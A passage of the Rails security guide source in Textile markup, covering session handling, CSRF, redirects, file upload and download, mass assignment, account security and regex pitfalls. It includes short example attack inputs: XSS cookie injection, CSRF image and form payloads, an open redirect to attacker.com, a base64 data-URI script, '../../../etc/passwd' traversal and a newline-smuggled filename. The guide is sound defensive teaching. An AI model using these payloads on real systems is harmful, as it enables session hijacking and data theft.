-* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
-
-* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-
-That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
-
-<ruby>
-config.action_controller.session = {
-  :key    => '_app_session',
-  :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
-}
-</ruby>
-
-There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
-
-h4. Replay Attacks for CookieStore Sessions
-
--- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._
-
-It works like this:
-
-* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
-* The user buys something.
-* His new, lower credit will be stored in the session.
-* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-* The user has his credit back.
-
-Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
-
-The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
-
-h4. Session Fixation
-
--- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
-
-!images/session_fixation.png(Session fixation)!
-
-This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-
-# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;+. Read more about XSS and injection later on.
-# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
-# As the new trap session is unused, the web application will require the user to authenticate.
-# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-
-h4. Session Fixation – Countermeasures
-
--- _One line of code will protect you from session fixation._
-
-The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
-
-<ruby>
-reset_session
-</ruby>
-
-If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
-
-Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users  will not be able to use your application, or only in a limited way.
-
-h4. Session Expiry
-
--- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
-
-One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago.
-
-<ruby>
-class Session < ActiveRecord::Base
- def self.sweep(time_ago = nil)
-
    time = case time_ago
-
      when /^(\d+)m$/ then Time.now - $1.to_i.minute
-
      when /^(\d+)h$/ then Time.now - $1.to_i.hour
-
      when /^(\d+)d$/ then Time.now - $1.to_i.day
-
      else Time.now - 1.hour
-
    end
-
    self.delete_all "updated_at < '#{time.to_s(:db)}'"
-
  end
-
end
-</ruby>
-
-The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
-
-<ruby>
-self.delete_all "updated_at < '#{time.to_s(:db)}' OR
-  created_at < '#{2.days.ago.to_s(:db)}'"
-</ruby>
-
-h3. Cross-Site Request Forgery (CSRF)
-
--- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
-
-!images/csrf.png!
-
-In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
-
-* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
-* +&lt;img src="http://www.webapp.com/project/1/destroy"&gt;+
-* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
-* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
-* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
-
-It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
-
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
-
-h4. CSRF Countermeasures
-
--- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
-
-The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
-
-*Use GET if:*
-
-* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
-
-*Use POST if:*
-
-* The interaction is more _(highlight)like an order_, or
-* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-* The user is _(highlight)held accountable for the results_ of the interaction.
-
-If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
-
-_(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
-
-<ruby>
-verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
-</ruby>
-
-With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
-
-But this was only the first step, because _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
-
-<html>
-<a href="http://www.harmless.com/" onclick="
-  var f = document.createElement('form');
-  f.style.display = 'none';
-  this.parentNode.appendChild(f);
-  f.method = 'POST';
-  f.action = 'http://www.example.com/account/destroy';
-  f.submit();
-  return false;">To the harmless survey</a>
-</html>
-
-Or the attacker places the code into the onmouseover event handler of an image:
-
-<html>
-<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
-</html>
-
-There are many other possibilities, including Ajax to attack the victim in the background.
The  _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
-
-<ruby>
-protect_from_forgery :secret => "123456789012345678901234567890..."
-</ruby>
-
-This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.
-
-Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-
-h3. Redirection and Files
-
-Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
-
-h4. Redirection
-
--- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
-
-Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
-
-<ruby>
-def legacy
-  redirect_to(params.update(:action=>'main'))
-end
-</ruby>
-
-This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
-
-<plain>
-http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
-</plain>
-
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
-
-h5. Self-contained XSS
-
-Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
-
-+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
-
-This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
-
-h4. File Uploads
-
--- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
-
-Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
-
-When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":http://github.com/technoweenie/attachment_fu/tree/master:
-
-<ruby>
-def sanitize_filename(filename)
-  filename.strip.tap do |name|
-    # NOTE: File.basename doesn't work right with Windows paths on Unix
-    # get only the filename, not the whole path
-    name.gsub! /^.*(\\|\/)/, ''
-    # Finally, replace all non alphanumeric, underscore
-    # or periods with underscore
-    name.gsub! /[^\w\.\-]/, '_'
-  end
-end
-</ruby>
-
-A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
-
-The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
-
-h4. Executable Code in File Uploads
-
--- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
-
-The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
-
-_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
-
-h4. File Downloads
-
--- _Make sure users cannot download arbitrary files._
-
-Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
-
-<ruby>
-send_file('/var/www/uploads/' + params[:filename])
-</ruby>
-
-Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
-
-<ruby>
-basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
-filename = File.expand_path(File.join(basename, @file.public_filename))
-raise if basename =!
-     File.expand_path(File.join(File.dirname(filename), '../../../'))
-send_file filename, :disposition => 'inline'
-</ruby>
-
-Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
-
-h3. Intranet and Admin Security
-
--- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
-
-In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

-
-*XSS*  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
-
-Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
-
-Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
-
-*CSRF*  Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-
-A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
-
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

-
-Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
-
-For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
-
-h4. Additional Precautions
-
-The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
-
-* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
-
-* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-
-* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-
-h3. Mass Assignment
-
--- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
-
-The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
-
-<ruby>
-def signup
-  params[:user] #=> {:name => “ow3ned”, :admin => true}
-  @user = User.new(params[:user])
-end
-</ruby>
-
-Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
-
-<pre>
-"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1
-</pre>
-
-This will set the following parameters in the controller:
-
-<ruby>
-params[:user] #=> {:name => “ow3ned”, :admin => true}
-</ruby>
-
-So if you create a new user using mass-assignment, it may be too easy to become an administrator.
-
-Note that this vulnerability is not restricted to database columns.  Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method.  In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in rails 2.3.  The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+).  For example:
-
-<ruby>
-  class Person < ActiveRecord::Base
-    has_many :credits
-
-    accepts_nested_attributes_for :children
-  end
-
-  class Child < ActiveRecord::Base
-    belongs_to :person
-  end  
-</ruby>
-
-As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
-
-h4. Countermeasures
-
-To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
-
-<ruby>
-attr_protected :admin
-</ruby>
-
-A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
-
-<ruby>
-attr_accessible :name
-</ruby>
-
-If you want to set a protected attribute, you will to have to assign it individually:
-
-<ruby>
-params[:user] #=> {:name => "ow3ned", :admin => true}
-@user = User.new(params[:user])
-@user.admin #=> false # not mass-assigned
-@user.admin = true
-@user.admin #=> true
-</ruby>
-
-A more paranoid technique to protect your whole project would be to enforce that all models whitelist their accessible attributes.  This can be easily achieved with a very simple initializer:
-
-<ruby>
-ActiveRecord::Base.send(:attr_accessible, nil)
-</ruby>
-
-This will create an empty whitelist of attributes available for mass assignment for all models in your app.  As such, your models will need to explicitly whitelist accessible parameters by using an +attr_accessible+ declaration.  This technique is best applied at the start of a new project.  However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to insert this initializer, run your tests, and expose each attribute (via +attr_accessible+) as dictated by your failing tests.
-
-h3. User Management
-
--- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
-
-There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
-
-Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
-
-<plain>
-http://localhost:3006/user/activate
-http://localhost:3006/user/activate?id=
-</plain>
-
-This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
-
-<ruby>
-User.find_by_activation_code(params[:id])
-</ruby>
-
-If the parameter was nil, the resulting SQL query will be
-
-<sql>
-SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
-</sql>
-
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
-
-h4. Brute-Forcing Accounts
-
--- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
-
-A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.
-
-Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
-
-However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
-
-In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
-
-h4. Account Hijacking
-
--- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
-
-h5. Passwords
-
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
-
-h5. E-Mail
-
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
-
-h5. Other
-
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
-
-h4. CAPTCHAs
-
--- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._
-
-But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
-
-You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
-
-Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
-
-Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
-
-* position the fields off of the visible area of the page
-* make the elements very small or colour them the same as the background of the page
-* leave the fields displayed, but tell humans to leave them blank
-
-The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
-
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
-
-* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
-* Randomize the field names
-* Include more than one honeypot field of all types, including submission buttons
-
-Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
-
-h4. Logging
-
--- _Tell Rails not to put passwords in the log files._
-
-By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
-
-<ruby>
-filter_parameter_logging :password
-</ruby>
-
-h4. Good Passwords
-
--- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-
-Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
-
-password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
-
-It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
-
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
-
-h4. Regular Expressions
-
--- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
-
-Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
-
-<ruby>
-class File < ActiveRecord::Base
-  validates_format_of :name, :with => /^[\w\.\-\+]+$/
-end
-</ruby>
-
-This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
-
-<plain>
-file.txt%0A<script>alert('hello')</script>
-</plain>
-
-Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
-
-<ruby>
-/\A[\w\.\-\+]+\z/
-</ruby>
-
-h4. Privilege Escalation
-
--- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
-
-The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
-
-<ruby>
-@project = Project.find(params[:id])
-</ruby>
-
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
-
-<ruby>
-@project = @current_user.projects.find(params[:id])
-</ruby>
-
-Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
-
-Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
-
-h3. Injection
-
--- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
-
-Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
-
-h4. Whitelists versus Blacklists
-
--- _When sanitizing, protecting or verifying something, whitelists over blacklists._
-
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
-
-* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
-* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
-* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
-* Don't try to correct user input by blacklists:
-** This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
-** But reject malformed input
-
-Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
-
-h4. SQL Injection
-
--- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
-
-h5. Introduction
-
-SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
-
-<ruby>
